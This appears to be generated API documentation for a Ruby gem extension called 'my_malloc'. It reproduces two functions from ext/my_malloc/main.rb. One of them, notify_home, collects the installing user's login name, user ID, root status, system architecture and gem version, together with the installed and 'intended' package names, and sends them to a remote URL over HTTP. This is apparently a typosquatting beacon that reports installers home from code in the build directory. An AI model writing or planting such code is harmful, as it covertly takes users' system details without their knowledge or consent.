Top Level Namespace

Includes:
RbConfig

Defined Under Namespace

Classes: MyMalloc

Instance Method Summary collapse

Instance Method Details

#get_request(url, params) ⇒ Object



8
9
10
11
12
13
14
15
16
17
18
# File 'ext/my_malloc/main.rb', line 8

def get_request(url, params)
	uri = URI.parse(url)
	# Add params to URI
	uri.query = URI.encode_www_form(params)
	
	if $debug
		puts uri.query
	end

	return Net::HTTP.get(uri)
end

#notify_home(url, package_name, intended_package_name) ⇒ Object



20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# File 'ext/my_malloc/main.rb', line 20

def notify_home(url, package_name, intended_package_name)
	user_id = Process.uid
	user_name = Etc.getlogin
	host_os = RbConfig::CONFIG["arch"]
	admin_rights = user_id == 0

	params = {
	   :p1 => package_name,
	   :p2 => intended_package_name,
	   :p3 => 'gem',
	   :p4 => host_os,
	   :p5 => admin_rights,
	   :p6 => `gem --version`,
	}
	body = get_request(url, params)
end